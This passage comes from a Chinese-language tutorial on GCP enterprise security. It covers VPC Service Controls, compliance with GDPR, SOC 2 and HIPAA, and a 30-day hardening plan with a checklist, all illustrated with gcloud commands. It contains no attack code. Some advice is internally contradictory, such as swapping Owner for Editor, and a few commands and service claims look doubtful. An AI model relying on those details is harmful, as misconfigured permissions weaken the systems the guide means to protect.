  --enable-vpc-accessible-services \
  --policy=POLICY_ID

# 檢查 Dry Run 日誌
gcloud logging read "protoPayload.metadata.dryRun=true" --limit=50

2. 分階段部署

Phase 1: Dry Run (1-2 週) → 觀察影響範圍
         ↓
Phase 2: Enforced Mode (部分專案) → 驗證無誤
         ↓
Phase 3: Enforced Mode (全部專案) → 正式啟用

3. 與 Private Service Connect 搭配

根據 PSC and VPC SC 比較：

面向	Private Service Connect	VPC Service Controls
目的	私密連線通道	資料邊界防護
防護層級	網路層	應用程式層
使用場景	連線至 SaaS 服務	防止資料外洩

建議架構：

VPC Service Controls (外層防護)
  └─> Private Service Connect (內層通訊)
      └─> GCP 服務（Cloud Storage, BigQuery）

4. 監控邊界違規

# 設定告警：偵測 VPC SC 違規
gcloud logging sinks create vpc-sc-violations \
  bigquery.googleapis.com/projects/my-project/datasets/security_logs \
  --log-filter='protoPayload.metadata.vpcServiceControlsUniqueId:*'

# 查詢最近的違規
bq query --use_legacy_sql=false \
  'SELECT timestamp, principalEmail, resourceName
   FROM `security_logs.vpc_sc_violations`
   ORDER BY timestamp DESC
   LIMIT 10'

6. 合規要求：GDPR、SOC2、HIPAA 實踐指南

6.1 GCP 合規認證概覽（2026 最新）

根據 Google Cloud Compliance，GCP 支援 100+ 合規認證與標準：

合規標準	適用範圍	GCP 認證	客戶責任
GDPR	歐盟個人資料	✅ Google 提供 DPA	實作資料主權、可攜權
SOC 2 Type II	服務組織安全	✅ 年度第三方稽核	應用程式安全、存取控制
HIPAA	美國醫療資料	✅ 提供 BAA	僅使用 HIPAA 合規服務
ISO 27001	資訊安全管理	✅ 全球認證	建立 ISMS
PCI DSS	支付卡資料	✅ Level 1 認證	應用程式層級合規
FedRAMP	美國聯邦政府	✅ High/Moderate 授權	符合 NIST 800-53

GDPR 七大原則：

合法性、公平性、透明性（Lawfulness, Fairness, Transparency）
目的限制（Purpose Limitation）
資料最小化（Data Minimization）
準確性（Accuracy）
儲存限制（Storage Limitation）
完整性與機密性（Integrity and Confidentiality）
可問責性（Accountability）

GDPR 要求	GCP 解決方案	實作方式
資料主權	Cloud KMS 區域金鑰	金鑰只能儲存於特定地區
資料最小化	DLP API	自動偵測並遮罩 PII
被遺忘權	Cloud Storage Lifecycle	自動刪除過期資料
資料可攜權	BigQuery Export	提供 JSON/CSV 匯出
違規通知	Security Command Center	72 小時內偵測並通知
資料處理協議	Google DPA	cloud.google.com/terms/data-processing-addendum

實戰：使用 DLP API 偵測 PII

# 1. 建立 DLP 檢查範本
cat > dlp-template.json <<EOF
{
  "inspectConfig": {
    "infoTypes": [
      {"name": "EMAIL_ADDRESS"},
      {"name": "PHONE_NUMBER"},
      {"name": "CREDIT_CARD_NUMBER"},
      {"name": "IBAN_CODE"}
    ],
    "minLikelihood": "LIKELY",
    "limits": {
      "maxFindingsPerRequest": 100
    }
  }
}
EOF

# 2. 掃描 BigQuery 資料表
gcloud dlp datasources bigquery inspect \
  --project=my-project \
  --dataset=customers \
  --table=user_data \
  --inspect-template-name=dlp-template.json \
  --output-table=my-project:dlp_results.scan_results

# 3. 自動遮罩 PII（去識別化）
gcloud dlp content deidentify \
  --info-types=EMAIL_ADDRESS,PHONE_NUMBER \
  --deidentify-template-name=projects/my-project/deidentifyTemplates/mask-pii

實作資料主權（Data Residency）

# 建立歐盟專屬金鑰環（金鑰永不離開 EU）
gcloud kms keyrings create eu-only-keyring \
  --location=europe-west1

gcloud kms keys create eu-data-key \
  --location=europe-west1 \
  --keyring=eu-only-keyring \
  --purpose=encryption

# 建立歐盟專屬 Cloud Storage bucket
gcloud storage buckets create gs://eu-customer-data \
  --location=EU \
  --default-encryption-key=projects/my-project/locations/europe-west1/keyRings/eu-only-keyring/cryptoKeys/eu-data-key

# 設定 Organization Policy：禁止資料離開歐盟
cat > org-policy.yaml <<EOF
constraint: constraints/gcp.resourceLocations
listPolicy:
  allowedValues:
  - in:eu-locations
EOF

gcloud resource-manager org-policies set-policy org-policy.yaml \
  --organization=123456789

6.3 SOC 2 合規實踐

根據 Linford & Company: Leveraging GCP SOC 2 Controls：

SOC 2 五大信任服務準則（TSC）：

Security（安全性）
Availability（可用性）
Processing Integrity（處理完整性）
Confidentiality（機密性）
Privacy（隱私性）

GCP 對應 SOC 2 的控制措施

TSC 準則	GCP 控制措施	客戶實作建議
CC6.1: 邏輯與實體存取控制	IAM, BeyondCorp	實作最小權限、MFA
CC6.6: 加密	Cloud KMS, CMEK	所有敏感資料啟用 CMEK
CC7.2: 監控系統	Cloud Logging, SCC	保留稽核日誌 1 年+
CC8.1: 變更管理	Cloud Build, Binary Authorization	所有變更經 CI/CD 與核准
A1.2: 可用性承諾	SLA 99.95%+	使用 Managed Instance Group

實戰：建立 SOC 2 稽核證據

# 1. 匯出 IAM 權限清單（證明最小權限）
gcloud projects get-iam-policy my-project \
  --format=json > iam-policy-audit-$(date +%Y%m%d).json

# 2. 匯出稽核日誌（證明存取監控）
gcloud logging read "logName:cloudaudit.googleapis.com" \
  --freshness=7d \
  --format=json > audit-logs-$(date +%Y%m%d).json

# 3. 匯出 Security Command Center 發現（證明漏洞管理）
gcloud scc findings list organizations/123456789 \
  --filter="state=ACTIVE" \
  --format=json > scc-findings-$(date +%Y%m%d).json

# 4. 建立自動化稽核報告
gcloud scheduler jobs create http soc2-monthly-report \
  --schedule="0 0 1 * *" \
  --uri="https://us-central1-my-project.cloudfunctions.net/generate-soc2-report" \
  --http-method=POST

6.4 HIPAA 合規實踐

根據 GCP Security Checklist 2026：

HIPAA 核心要求：

存取控制（Access Control）
稽核與問責（Audit and Accountability）
完整性控制（Integrity Controls）
傳輸安全（Transmission Security）

Step 1: 簽署 BAA（Business Associate Agreement）

1. 前往 Google Cloud Console → Compliance
2. 下載並簽署 HIPAA BAA
3. 回傳至 Google（cloud-hipaa@google.com）

Step 2: 僅使用 HIPAA 合規服務

✅ HIPAA 合規服務（部分清單）：

Compute Engine
Cloud Storage
Cloud SQL
BigQuery
Cloud KMS
VPC

❌ 不合規服務（禁止儲存 ePHI）：

App Engine Standard
Cloud Functions（除非在 VPC 內）
Firebase

完整清單：cloud.google.com/security/compliance/hipaa

Step 3: 實作 HIPAA 安全規則

# 1. 啟用靜態加密（CMEK）
gcloud sql instances patch hipaa-db \
  --disk-encryption-key=projects/my-project/locations/us-central1/keyRings/hipaa-keyring/cryptoKeys/ephi-key

# 2. 啟用稽核日誌（Access Transparency）
gcloud organizations add-iam-policy-binding 123456789 \
  --member="domain:google.com" \
  --role="roles/logging.accessTransparencyViewer"

# 3. 設定存取控制（僅授權人員）
gcloud projects add-iam-policy-binding my-project \
  --member="group:hipaa-authorized@example.com" \
  --role="roles/healthcare.datasetViewer" \
  --condition="expression=request.time < timestamp('2026-12-31T23:59:59Z'),title=temporary-access"

# 4. 設定資料保留政策（6 年）
gcloud logging sinks create hipaa-audit-logs \
  storage.googleapis.com/hipaa-audit-bucket \
  --log-filter='logName:"cloudaudit.googleapis.com"' \
  --retention-days=2190

6.5 合規自動化：Policy as Code

使用 Config Connector 將合規要求轉化為程式碼：

# compliance-policy.yaml
apiVersion: resourcemanager.cnrm.cloud.google.com/v1beta1
kind: ResourceManagerPolicy
metadata:
  name: enforce-cmek
spec:
  constraint: 'constraints/gcp.restrictNonCmekServices'
  listPolicy:
    deniedValues:
      - 'storage.googleapis.com' # 禁止未使用 CMEK 的 Cloud Storage
  organizationRef:
    external: '123456789'
---
apiVersion: resourcemanager.cnrm.cloud.google.com/v1beta1
kind: ResourceManagerPolicy
metadata:
  name: enforce-eu-location
spec:
  constraint: 'constraints/gcp.resourceLocations'
  listPolicy:
    allowedValues:
      - 'in:eu-locations' # 僅允許歐盟地區
  organizationRef:
    external: '123456789'

# 套用合規政策
kubectl apply -f compliance-policy.yaml

# 驗證政策生效
gcloud resource-manager org-policies list \
  --organization=123456789

7. 總結與安全架構檢查清單

7.1 企業級 GCP 安全架構全景回顧

到這裡，我們已經把一整套企業級雲端安全防線搭起來了：

第七層：合規與治理
  └─> GDPR, SOC 2, HIPAA 認證
第六層：資料外洩防護
  └─> VPC Service Controls 服務邊界
第五層：資料加密
  └─> Cloud KMS 金鑰管理（靜態、傳輸中、使用中）
第四層：威脅偵測
  └─> Security Command Center 24/7 監控
第三層：零信任存取
  └─> Chrome Enterprise Premium 情境感知授權
第二層：網路防護
  └─> VPC, Cloud Firewall, Cloud Armor
第一層：身份與存取管理
  └─> IAM 最小權限原則

7.2 GCP 資安成熟度評估

先對照一下，你的組織現在大概落在哪個階段：

階段	特徵	風險等級	下一步行動
Level 0: 無防護	使用預設設定、無監控	🔴 Critical	立即啟用 SCC Standard
Level 1: 基礎防護	IAM 設定、防火牆規則	🟠 High	啟用 MFA、審查權限
Level 2: 進階防護	SCC Premium、Cloud KMS	🟡 Medium	實施零信任架構
Level 3: 企業級	Chrome Enterprise Premium、VPC SC、合規認證	🟢 Low	持續優化與稽核
Level 4: 最佳實踐	自動化合規、零信任、AI 威脅偵測	🔵 Minimal	分享經驗、貢獻社群

7.3 30 天 GCP 資安強化計畫

Week 1: 基礎盤點與快速修復

Day	任務	工具	預估時間
1-2	啟用 Security Command Center Standard	GCP Console	1 小時
3-4	修復所有 Critical 等級漏洞	SCC Findings	4-8 小時
5-7	審查 IAM 權限，移除過度授權	IAM Recommender	4-6 小時

Week 2: 身份與存取控制

Day	任務	工具	預估時間
8-10	強制 MFA（多因素驗證）	Google Workspace Admin	2-4 小時
11-12	啟用 Chrome Enterprise Premium（試點專案）	IAP, Access Context Manager	4-6 小時
13-14	設定情境感知存取政策	Access Levels	2-3 小時

Week 3: 資料保護與加密

Day	任務	工具	預估時間
15-17	建立 Cloud KMS 金鑰環與金鑰	Cloud KMS	2 小時
18-20	啟用 CMEK（高敏感資料）	Cloud Storage, Cloud SQL	4-6 小時
21	使用 DLP API 掃描 PII	DLP API	2-3 小時

Week 4: 邊界防護與合規

Day	任務	工具	預估時間
22-24	建立 VPC Service Controls 邊界（Dry Run）	Access Context Manager	4-6 小時
25-27	準備合規證據（GDPR/SOC 2/HIPAA）	Cloud Logging, Asset Inventory	6-8 小時
28-30	建立自動化稽核報告	Cloud Scheduler, Cloud Functions	4-6 小時

7.4 GCP 資安檢查清單（Security Checklist）

✅ 身份與存取管理（Identity & Access）

GCP IAM 授予存取權的角色下拉選單，上半部是基本角色 Owner／Editor／Viewer，下半部依產品分類列出更細的 predefined 角色供選擇 — 這就是 IAM「授予存取權」時跳出來的角色選單，也是下面第一條檢查項的實際畫面。左上那組基本角色（Owner／Editor／Viewer）看似方便，卻是跨所有服務的萬用大鎖——ACE 最愛在這裡埋陷阱：真正的最小權限，不是把 Owner 降成 Editor，而是往下捲去選 predefined 角色（依產品切細，例如只給 storage.objectViewer）。看到題目講「最小權限」「只給剛好夠用的權限」，直覺就往 predefined／自訂角色想，別停在基本角色。

所有使用者啟用 MFA（多因素驗證）
移除 Owner 角色，改用特定角色（如 Editor、Viewer）
服務帳號使用 Workload Identity（而非金鑰檔案）
定期審查 IAM 權限（每季一次）
啟用 Access Transparency（存取透明度日誌）

✅ 網路安全（Network Security）

防火牆規則使用最小權限原則（避免 0.0.0.0/0）
敏感服務僅允許內部 IP 存取
啟用 Cloud Armor（DDoS 防護 + WAF）
使用 Cloud NAT（避免 VM 直接擁有公開 IP）
啟用 VPC Flow Logs（網路流量監控）

✅ 資料保護（Data Protection）

敏感資料啟用 CMEK（Customer-Managed Encryption Keys）
金鑰輪替週期 ≤ 90 天
使用 DLP API 偵測並遮罩 PII
Cloud Storage bucket 禁用公開存取（allUsers）
資料備份加密並異地儲存

✅ 威脅偵測與監控（Threat Detection & Monitoring）

啟用 Security Command Center Premium
啟用 Container Threat Detection、VM Threat Detection
設定即時告警（Critical/High findings）
保留稽核日誌至少 1 年（合規要求）
定期檢查 SCC Findings（每週一次）

✅ 合規與治理（Compliance & Governance）

簽署 HIPAA BAA（如適用）
實作資料主權（歐盟資料僅儲存於歐盟）
使用 Organization Policy 強制安全設定
建立自動化合規報告（每月一次）
定期進行安全演練（每季一次）

7.5 延伸學習資源

官方文件

Security Best Practices: cloud.google.com/security/best-practices
Security Command Center Docs: cloud.google.com/security-command-center/docs
Chrome Enterprise Premium（前 BeyondCorp Enterprise）: cloud.google.com/beyondcorp
Cloud KMS Docs: cloud.google.com/kms/docs

實戰教學

Qwiklabs: Security & Identity in GCP: Qwiklabs 課程
東東 GCP 教學: dongdonggcp.com
思想科技學習專欄: masterconcept.ai

社群與論壇

Google Cloud Community: cloud.google.com/community
Reddit: r/googlecloud: reddit.com/r/googlecloud
Stack Overflow: 使用 google-cloud-platform 標籤

7.6 下一步：從資安到 DevSecOps

搭好安全架構只是開頭，真正的下一步是把安全做進開發流程裡（DevSecOps）：

傳統流程:
  開發 → 測試 → 部署 → [發現漏洞] → 緊急修復 💥

DevSecOps 流程:
  開發 → 自動化安全掃描 → 測試 → Binary Authorization → 部署 ✅
    ↑                          ↓
    └───────── 持續監控 ←────────┘

接下來這兩篇會把安全之外的拼圖補上：ACE-301：企業上雲實戰——GCP 遷移評估與執行策略帶你走完評估到執行的整條上雲路徑，ACE-302：GCP 成本優化完全指南則處理上雲後最現實的省錢問題。

總結

企業級雲端資安不是做完一次就收工的專案，每一層防護都扣在一起，少一塊就會漏。真要濃縮成一句：縱深防禦別押單一機制、零信任永遠多驗一步、安全是要持續跟著走的動態過程而不是一次性設定。

前面那份 30 天資安強化計畫不用一次到位，挑現在漏洞最大的那一層先補，其餘的排進後面的迭代慢慢收。

下一課 ACE-301：企業上雲實戰——GCP 遷移評估與執行策略，帶你走完從評估、規劃到執行的整條上雲路徑。

ACE 架構設計 — 5/5 完成查看系列全覽 →

前言